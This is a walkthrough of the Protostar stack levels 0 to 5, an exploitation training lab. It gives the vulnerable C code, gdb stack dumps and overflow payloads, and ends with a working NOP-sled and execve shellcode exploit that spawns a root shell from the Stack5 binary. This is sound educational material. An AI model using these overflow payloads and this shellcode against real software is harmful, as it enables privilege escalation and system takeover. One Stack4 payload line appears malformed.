Protostar



Stack0

#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }

The variable modified needs to be changed to pass the level. The program expects an input. Using gdb to disassemble -

(gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x080483f4 <main+0>: push ebp 0x080483f5 <main+1>: mov ebp,esp 0x080483f7 <main+3>: and esp,0xfffffff0 0x080483fa <main+6>: sub esp,0x60 0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0 0x08048405 <main+17>: lea eax,[esp+0x1c] 0x08048409 <main+21>: mov DWORD PTR [esp],eax 0x0804840c <main+24>: call 0x804830c <gets@plt> 0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c] 0x08048415 <main+33>: test eax,eax 0x08048417 <main+35>: je 0x8048427 <main+51> 0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500 0x08048420 <main+44>: call 0x804832c <puts@plt> 0x08048425 <main+49>: jmp 0x8048433 <main+63> 0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529 0x0804842e <main+58>: call 0x804832c <puts@plt> 0x08048433 <main+63>: leave 0x08048434 <main+64>: ret End of assembler dump. (gdb) break *0x0804840c Breakpoint 1 at 0x804840c: file stack0/stack0.c, line 11. (gdb) break *0x08048415 Breakpoint 2 at 0x8048415: file stack0/stack0.c, line 13.

The program is disassembled and the instructions can be mapped with the given c code to find out the location of the variable 'modified' which is at esp + x5c. The input is accepted at the gets function which has a vulnerability of accepting more than the buffer size declared. Adding breakpoints before gets function call and before the compare helps in analysis.

(gdb) r Starting program: /opt/protostar/bin/stack0 Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffff864) at stack0/stack0.c:11 11 stack0/stack0.c: No such file or directory. in stack0/stack0.c (gdb) x/24wx $esp 0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e 0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0xb7eada75 0xbffff770: 0xb7fd7ff4 0x08049620 0xbffff788 0x080482e8 0xbffff780: 0xb7ff1040 0x08049620 0xbffff7b8 0x08048469 0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7b8 0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000

The 0x0000000 is the value of the variable of concern. This needs to be modified. Entering c to continue execution and entering a bunch of A's to locate them on the stack.

(gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 2, 0x08048415 in main (argc=1, argv=0xbffff864) at stack0/stack0.c:13 13 in stack0/stack0.c (gdb) x/24wx $esp 0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e 0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141 0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff780: 0x41414141 0x41414141 0xbfff0041 0x08048469 0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7b8 0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000

The 0x41's can now be located and the start address can be noted for the A's. The number of A's required to overwrite the value of the 'modified' variable is calculated as 17 words. Using python to print this and re executing the program, the required output is obtained.

(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/stack0 Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffff864) at stack0/stack0.c:11 11 in stack0/stack0.c (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 2, 0x08048415 in main (argc=1, argv=0xbffff864) at stack0/stack0.c:13 13 in stack0/stack0.c (gdb) x/24wx $esp 0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e 0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141 0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) c Continuing. you have changed the 'modified' variable Program exited with code 051.

After this the desired result has been obtained. As clear, the location with 0x0000000 was overwritten with 0x41's, hence changing the value of the 'modified' variable.


Stack1

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }

The code takes an argument from the command line to use in the program. The variable 'modified' needs to be changed by an overflow to 0x61626364. Disassembling the program using gdb -

(gdb) disas main Dump of assembler code for function main: 0x08048464 <main+0>: push %ebp 0x08048465 <main+1>: mov %esp,%ebp 0x08048467 <main+3>: and $0xfffffff0,%esp 0x0804846a <main+6>: sub $0x60,%esp 0x0804846d <main+9>: cmpl $0x1,0x8(%ebp) 0x08048471 <main+13>: jne 0x8048487 <main+35> 0x08048473 <main+15>: movl $0x80485a0,0x4(%esp) 0x0804847b <main+23>: movl $0x1,(%esp) 0x08048482 <main+30>: call 0x8048388 <errx@plt> 0x08048487 <main+35>: movl $0x0,0x5c(%esp) 0x0804848f <main+43>: mov 0xc(%ebp),%eax 0x08048492 <main+46>: add $0x4,%eax 0x08048495 <main+49>: mov (%eax),%eax 0x08048497 <main+51>: mov %eax,0x4(%esp) 0x0804849b <main+55>: lea 0x1c(%esp),%eax 0x0804849f <main+59>: mov %eax,(%esp) 0x080484a2 <main+62>: call 0x8048368 <strcpy@plt> 0x080484a7 <main+67>: mov 0x5c(%esp),%eax 0x080484ab <main+71>: cmp $0x61626364,%eax 0x080484b0 <main+76>: jne 0x80484c0 <main+92> 0x080484b2 <main+78>: movl $0x80485bc,(%esp) 0x080484b9 <main+85>: call 0x8048398 <puts@plt> 0x080484be <main+90>: jmp 0x80484d5 <main+113> 0x080484c0 <main+92>: mov 0x5c(%esp),%edx 0x080484c4 <main+96>: mov $0x80485f3,%eax 0x080484c9 <main+101>: mov %edx,0x4(%esp) 0x080484cd <main+105>: mov %eax,(%esp) 0x080484d0 <main+108>: call 0x8048378 <printf@plt> 0x080484d5 <main+113>: leave 0x080484d6 <main+114>: ret End of assembler dump.

Adding breakpoints to the strcpy function call before and after to check the contents. From the assembly code, the location is at esp + x5c. Therefore, running with a bunch of A's for location.

(gdb) break *0x080484a2 Breakpoint 1 at 0x80484a2: file stack1/stack1.c, line 16. (gdb) break *0x080484a7 Breakpoint 2 at 0x80484a7: file stack1/stack1.c, line 18. (gdb) r AAAAAAAAAAAAAAAAAAAAAA Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x080484a2 in main (argc=2, argv=0xbffff834) at stack1/stack1.c:16 16 stack1/stack1.c: No such file or directory. in stack1/stack1.c (gdb) x/24wx $esp 0xbffff720: 0xbffff73c 0xbffff974 0xb7fff8f8 0xb7f0186e 0xbffff730: 0xb7fd7ff4 0xb7ec6165 0xbffff748 0xb7eada75 0xbffff740: 0xb7fd7ff4 0x080496fc 0xbffff758 0x08048334 0xbffff750: 0xb7ff1040 0x080496fc 0xbffff788 0x08048509 0xbffff760: 0xb7fd8304 0xb7fd7ff4 0x080484f0 0xbffff788 0xbffff770: 0xb7ec6365 0xb7ff1040 0x080484fb 0x00000000 (gdb) c Continuing. Breakpoint 2, main (argc=2, argv=0xbffff834) at stack1/stack1.c:18 18 in stack1/stack1.c (gdb) x/24wx $esp 0xbffff720: 0xbffff73c 0xbffff974 0xb7fff8f8 0xb7f0186e 0xbffff730: 0xb7fd7ff4 0xb7ec6165 0xbffff748 0x41414141 0xbffff740: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff750: 0xb7004141 0x080496fc 0xbffff788 0x08048509 0xbffff760: 0xb7fd8304 0xb7fd7ff4 0x080484f0 0xbffff788 0xbffff770: 0xb7ec6365 0xb7ff1040 0x080484fb 0x00000000

The A's are now located. The 0x0000000 entry is the one that needs to be changed. The exact value required to be there is 0x61626364 which needs to be written backwards byte by byte to follow the little endianness. The number of bytes required to change can be counted and the last 4 need to be changed to 0x64636261 using python.

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba Breakpoint 1, 0x080484a2 in main (argc=2, argv=0xbffff804) at stack1/stack1.c:16 16 in stack1/stack1.c (gdb) x/24wx $esp 0xbffff6f0: 0xbffff70c 0xbffff946 0xb7fff8f8 0xb7f0186e 0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0xb7eada75 0xbffff710: 0xb7fd7ff4 0x080496fc 0xbffff728 0x08048334 0xbffff720: 0xb7ff1040 0x080496fc 0xbffff758 0x08048509 0xbffff730: 0xb7fd8304 0xb7fd7ff4 0x080484f0 0xbffff758 0xbffff740: 0xb7ec6365 0xb7ff1040 0x080484fb 0x00000000 (gdb) c Continuing. Breakpoint 2, main (argc=2, argv=0xbffff804) at stack1/stack1.c:18 18 in stack1/stack1.c (gdb) x/24wx $esp 0xbffff6f0: 0xbffff70c 0xbffff946 0xb7fff8f8 0xb7f0186e 0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0x41414141 0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff740: 0x41414141 0x41414141 0x41414141 0x61626364 (gdb) c Continuing. you have correctly got the variable to the right value Program exited with code 067.

Stack2

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; //* variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }

The code has a variable called 'variable'. This exits with an error if the variable is null. If it is not null then another variable called 'modified' is set to 0 after which the variable's value is copied via strcpy to buffer. Strcpy copies the whole string into the buffer irrespective of the buffer size.

Therefore, idea seems to be to set the env variable first to pass first test case then to modify or breach the content area of the variable 'modified' in the stack using overflow string as that which is the value of the env variable.

Initially setting the env variable to a bunch of A's to locate easily.

user@protostar:~$ export GREENIE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" user@protostar:~$ printenv GREENIE AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Disassembling the executable in gdb.

(gdb) disas main Dump of assembler code for function main: 0x08048494 <main+0>: push ebp 0x08048495 <main+1>: mov ebp,esp 0x08048497 <main+3>: and esp,0xfffffff0 0x0804849a <main+6>: sub esp,0x60 0x0804849d <main+9>: mov DWORD PTR [esp],0x80485e0 0x080484a4 <main+16>: call 0x804837c <getenv@plt> 0x080484a9 <main+21>: mov DWORD PTR [esp+0x5c],eax 0x080484ad <main+25>: cmp DWORD PTR [esp+0x5c],0x0 0x080484b2 <main+30>: jne 0x80484c8 <main+52> 0x080484b4 <main+32>: mov DWORD PTR [esp+0x4],0x80485e8 0x080484bc <main+40>: mov DWORD PTR [esp],0x1 0x080484c3 <main+47>: call 0x80483bc <errx@plt> 0x080484c8 <main+52>: mov DWORD PTR [esp+0x58],0x0 0x080484d0 <main+60>: mov eax,DWORD PTR [esp+0x5c] 0x080484d4 <main+64>: mov DWORD PTR [esp+0x4],eax 0x080484d8 <main+68>: lea eax,[esp+0x18] 0x080484dc <main+72>: mov DWORD PTR [esp],eax 0x080484df <main+75>: call 0x804839c <strcpy@plt> 0x080484e4 <main+80>: mov eax,DWORD PTR [esp+0x58] 0x080484e8 <main+84>: cmp eax,0xd0a0d0a 0x080484ed <main+89>: jne 0x80484fd <main+105> 0x080484ef <main+91>: mov DWORD PTR [esp],0x8048618 0x080484f6 <main+98>: call 0x80483cc <puts@plt> 0x080484fb <main+103>: jmp 0x8048512 <main+126> 0x080484fd <main+105>: mov edx,DWORD PTR [esp+0x58] 0x08048501 <main+109>: mov eax,0x8048641 0x08048506 <main+114>: mov DWORD PTR [esp+0x4],edx 0x0804850a <main+118>: mov DWORD PTR [esp],eax 0x0804850d <main+121>: call 0x80483ac <printf@plt> 0x08048512 <main+126>: leave 0x08048513 <main+127>: ret End of assembler dump.

Putting breakpoints before and after the strcpy -

(gdb) break *0x080484df Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20. (gdb) break *0x080484e4 Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.

Analysing the assembly code, after the strcpy, the esp + x58 location is put into eax and compared to 0xd0a0d0a. Therefore, by overflowing the value of that location needs to be changed to 0xd0a0d0a.

(gdb) r Starting program: /opt/protostar/bin/stack2 Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff824) at stack2/stack2.c:20 20 stack2/stack2.c: No such file or directory. in stack2/stack2.c (gdb) x/30wx $esp 0xbffff710: 0xbffff728 0xbffff9e4 0xb7fff8f8 0xb7f0186e 0xbffff720: 0xb7fd7ff4 0xb7ec6165 0xbffff738 0xb7eada75 0xbffff730: 0xb7fd7ff4 0x08049748 0xbffff748 0x08048358 0xbffff740: 0xb7ff1040 0x08049748 0xbffff778 0x08048549 0xbffff750: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff778 0xbffff760: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffff9e4 0xbffff770: 0x08048530 0x00000000 0xbffff7f8 0xb7eadc76 0xbffff780: 0x00000001 0xbffff824 (gdb) c Continuing. Breakpoint 2, main (argc=1, argv=0xbffff824) at stack2/stack2.c:22 22 in stack2/stack2.c (gdb) x/30wx $esp 0xbffff710: 0xbffff728 0xbffff9e4 0xb7fff8f8 0xb7f0186e 0xbffff720: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141 0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff740: 0x41414141 0x41414141 0xbf004141 0x08048549 0xbffff750: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff778 0xbffff760: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffff9e4 0xbffff770: 0x08048530 0x00000000 0xbffff7f8 0xb7eadc76 0xbffff780: 0x00000001 0xbffff824

After the strcpy, the 0x41's can be easily located. The first 0x00000000 at ...f768 is the value of the variable that needs to be modified. Calculating the number of bytes to overflow into that particular stack location, enter the A's and then 0xd0a0d0a using python and re run the program after storing the value as the env variable.

(gdb) r Starting program: /opt/protostar/bin/stack2 Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff804) at stack2/stack2.c:20 20 stack2/stack2.c: No such file or directory. in stack2/stack2.c (gdb) x/30wx $esp 0xbffff6f0: 0xbffff708 0xbffff9c2 0xb7fff8f8 0xb7f0186e 0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0xb7eada75 0xbffff710: 0xb7fd7ff4 0x08049748 0xbffff728 0x08048358 0xbffff720: 0xb7ff1040 0x08049748 0xbffff758 0x08048549 0xbffff730: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff758 0xbffff740: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffff9c2 0xbffff750: 0x08048530 0x00000000 0xbffff7d8 0xb7eadc76 0xbffff760: 0x00000001 0xbffff804 (gdb) c Continuing. Breakpoint 2, main (argc=1, argv=0xbffff804) at stack2/stack2.c:22 22 in stack2/stack2.c (gdb) x/30wx $esp 0xbffff6f0: 0xbffff708 0xbffff9c2 0xb7fff8f8 0xb7f0186e 0xbffff700: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141 0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff740: 0x41414141 0x41414141 0x0d0a0d0a 0xbffff900 0xbffff750: 0x08048530 0x00000000 0xbffff7d8 0xb7eadc76 0xbffff760: 0x00000001 0xbffff804

The appropriate location is thus overwritten. Continuing the execution, the desired result is obtained.

(gdb) c Continuing. you have correctly modified the variable Program exited with code 051.

Stack3

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)();//* char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }

The code has a function declaration of win. The function is not called throughout the code so the challenge is to cause an overflow such that the address of the function win is passed onto the executable stack. The objdump -x for the executable shows that the stack has the permission of rwx.

The pointer 'fp' is set to 0 after which a gets function is called which as known has the vulnerability of copying complete string passed into the memory. If 'fp' is overwritten successfully, then the if condition will turn out to be true and then 'fp' will be called which will in turn execute the function whose address is pointed by it. Therefore, the buffer needs to be overflowed with the address of the win function at the end overwriting the value of 'fp'.

Disassembling using gdb and setting the breakpoints before and after gets statement.

(gdb) disas main Dump of assembler code for function main: 0x08048438 <main+0>: push ebp 0x08048439 <main+1>: mov ebp,esp 0x0804843b <main+3>: and esp,0xfffffff0 0x0804843e <main+6>: sub esp,0x60 0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0 0x08048449 <main+17>: lea eax,[esp+0x1c] 0x0804844d <main+21>: mov DWORD PTR [esp],eax 0x08048450 <main+24>: call 0x8048330 <gets@plt> 0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0 0x0804845a <main+34>: je 0x8048477 <main+63> 0x0804845c <main+36>: mov eax,0x8048560 0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c] 0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx 0x08048469 <main+49>: mov DWORD PTR [esp],eax 0x0804846c <main+52>: call 0x8048350 <printf@plt> 0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c] 0x08048475 <main+61>: call eax 0x08048477 <main+63>: leave 0x08048478 <main+64>: ret End of assembler dump. (gdb) break *main+24 Breakpoint 1 at 0x8048450: file stack3/stack3.c, line 18. (gdb) break *main+29 Breakpoint 2 at 0x8048455: file stack3/stack3.c, line 20.

From the disassembled code, the location esp + x5c on the stack seems to be 'fp' which is set to 0. This is the value that needs to be overwritten. Running to find out start location of string using a bunch of A's, and then calculating the number needed to overwrite 'fp'.

(gdb) r Starting program: /opt/protostar/bin/stack3 Breakpoint 1, 0x08048450 in main (argc=1, argv=0xbffff864) at stack3/stack3.c:18 18 stack3/stack3.c: No such file or directory. in stack3/stack3.c (gdb) x/24wx $esp 0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e 0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0xb7eada75 0xbffff770: 0xb7fd7ff4 0x0804967c 0xbffff788 0x0804830c 0xbffff780: 0xb7ff1040 0x0804967c 0xbffff7b8 0x080484a9 0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffff7b8 0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000 (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 2, main (argc=1, argv=0xbffff864) at stack3/stack3.c:20 20 in stack3/stack3.c (gdb) x/24wx $esp 0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e 0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141 0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff780: 0x41414141 0x41414141 0xbfff0041 0x080484a9 0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffff7b8 0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000

The value 0x00000000 is the one that is to be overwritten. The number of A's required to overwrite it is 16*4 plus the value that will overwrite. The value to be overwritten can be printed into a file and redirected. The value can be obtained by examining the win function.

(gdb) x win 0x8048424 <win>: 0x83e58955

Therefore, redirecting the value to a file and redirecting that to gdb run.

user@protostar:/opt/protostar/bin$ python -c 'print "A"*16*4 + "\x24\x84\x04\x08"' > /tmp/inputfile user@protostar:/opt/protostar/bin$ gdb ./stack3 GNU gdb (GDB) 7.0.1-debian Reading symbols from /opt/protostar/bin/stack3...done. (gdb) r < /tmp/inputfile Starting program: /opt/protostar/bin/stack3 < /tmp/inputfile calling function pointer, jumping to 0x08048424 code flow successfully changed Program exited with code 037.

Therefore, the given function was called using an overflow.


Stack4

The code for this level is -

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }

The code simply asks for the execution of the function 'win'. For this the instruction pointer must be overwritten such that the address of the function 'win' is loaded onto the eip before the ret such that the function 'win' executes.

Disassembling from gdb. Setting the breakpoint at the return instruction to examine the contents of the registers before exiting.

(gdb) disas main Dump of assembler code for function main: 0x08048408 <main+0>: push ebp 0x08048409 <main+1>: mov ebp,esp 0x0804840b <main+3>: and esp,0xfffffff0 0x0804840e <main+6>: sub esp,0x50 0x08048411 <main+9>: lea eax,[esp+0x10] 0x08048415 <main+13>: mov DWORD PTR [esp],eax 0x08048418 <main+16>: call 0x804830c <gets@plt> 0x0804841d <main+21>: leave 0x0804841e <main+22>: ret End of assembler dump. (gdb) break *main+22 Breakpoint 1 at 0x804841e: file stack4/stack4.c, line 16.

Initially accuracy is not required therefore printed A to Z all characters in sets of 4 for easy identification in the stack. These characters are then put in a file in the home directory using python.

python -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"' | cat > hello

Now we can run using this as the input by redirecting the file to r in gdb.

(gdb) r < ~/hello Starting program: /opt/protostar/bin/stack4 < ~/hello Breakpoint 1, 0x0804841e in main (argc=Cannot access memory at address 0x5353535b ) at stack4/stack4.c:16 16 stack4/stack4.c: No such file or directory. in stack4/stack4.c (gdb) info registers eax 0xbffff770 -1073744016 ecx 0xbffff770 -1073744016 edx 0xb7fd9334 -1208118476 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff7bc 0xbffff7bc ebp 0x53535353 0x53535353 esi 0x0 0 edi 0x0 0 eip 0x804841e 0x804841e <main+22> eflags 0x200246 [ PF ZF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x54545454 in ?? ()

The base pointer was overwritten in the info. After continuing the eip changed to the set of 4 characters right after those of the base pointer because base pointer is also passed on the stack after the return address is passed. Therefore 54 was the value that got written in the eip which corresponds to the character 'T'. Therefore if the T's are replaced by the address of the 'win' function the execution will be transferred to that function. Using python again to print till s and then printing the address after checking from x win into the same file.

user@protostar:~$ cat > hello.py import sys for i in "ABCDEFGHIJKLMNOPQRS": sys.stdout.write(i+i+i+i) user@protostar:~$ python hello.py > hello user@protostar:~$ cat hello AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSuser@protostar:~$ python -c 'print "\xf4\x83\x04\x0"' | cat >> hello

After this the file hello will have the data required to be overflowed in the stack. After this, running by redirecting to gdb,

(gdb) r < ~/hello The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/stack4 < ~/hello code flow successfully changed Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? ()

The overflow still is there because the values after the eip have also been rearranged or overwritten in the stack. Therefore, another segfault is received but the function 'win' is successfully executed seeing as the code flow message was printed. Hence function executed using overflow.


Stack5

The program has the following code -

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }

The main objective seems to be redirecting the return of the program to get a shellcode.

Using gdb to disassemble, and giving a breakpoint at the return statement to check the contents of the eip and stack.

(gdb) disas main Dump of assembler code for function main: 0x080483c4 <main+0>: push ebp 0x080483c5 <main+1>: mov ebp,esp 0x080483c7 <main+3>: and esp,0xfffffff0 0x080483ca <main+6>: sub esp,0x50 0x080483cd <main+9>: lea eax,[esp+0x10] 0x080483d1 <main+13>: mov DWORD PTR [esp],eax 0x080483d4 <main+16>: call 0x80482e8 <gets@plt> 0x080483d9 <main+21>: leave 0x080483da <main+22>: ret End of assembler dump. (gdb) break *main+22 Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.

Giving the input file in the home directory with the contents "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ", for easy identification.

(gdb) r < ~/input Starting program: /opt/protostar/bin/stack5 < ~/input (gdb) x/24wx $esp 0xbffff6bc: 0x54545454 0x55555555 0x56565656 0x57575757 0xbffff6cc: 0x58585858 0x59595959 0x5a5a5a5a 0xb7ffef00 0xbffff6dc: 0x08048232 0x00000001 0xbffff720 0xb7ff0626 0xbffff6ec: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000 0xbffff6fc: 0x00000000 0xbffff738 0xa47e1986 0x8e2bef96 0xbffff70c: 0x00000000 0x00000000 0x00000000 0x00000001 (gdb) si Cannot access memory at address 0x53535357 (gdb) Program received signal SIGSEGV, Segmentation fault. 0x54545454 in ?? () (gdb) info registers eax 0xbffff670 -1073744272 ecx 0xbffff670 -1073744272 edx 0xb7fd9334 -1208118476 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6c0 0xbffff6c0 ebp 0x53535353 0x53535353 esi 0x0 0 edi 0x0 0 eip 0x54545454 0x54545454 eflags 0x210246 [ PF ZF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51

As seen the eip is overwritten by 0x54's which is the hex for 'T'. Therefore, upto before T, we get a seg fault and T will rewrite the eip. To create a NOP sled, add 200 NOPs and then a shellcode from shellstorm. Placing the address next to that of the T's as the jump address at the eip, the interrupt works once but from the home directory gives an illegal instruction. This is so because of the address randomization and changes due to directory holding parameters etc. Therefore, NOP sled is added and then the address for the jump is made to 30 more than the immediately next stack pointer to aid the sled to reach the sigtrap. After this the code is the following.

import struct a = struct.pack("I", 0xbffff6f0) print("A"*19*4 + a + "\x90"*100 + "\xcc"*4)

Now to execute the exploit, the shellcode needs to be placed in place of the sig traps.

import struct a = struct.pack("I", 0xbffff6f0) print("A"*19*4 + a + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")

By executing this code and piping the output to the executable the shell does work but exits. Execve replaces the current process and thus the current one exits which is connected to the stdin. After this process ends, the stdin gives EOF to the input of the shell that has been executed. This can be confirmed when the /bin/dash is executed and exits. Therefore, to keep the stdin open for the shell, the command cat is used which will help redirect the input to the shell and print the output to stdout.

user@protostar:~$ (python pp.py; cat) | /opt/protostar/bin/stack5 id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user) whoami root

Thus the exploit helps execute the shell to get root.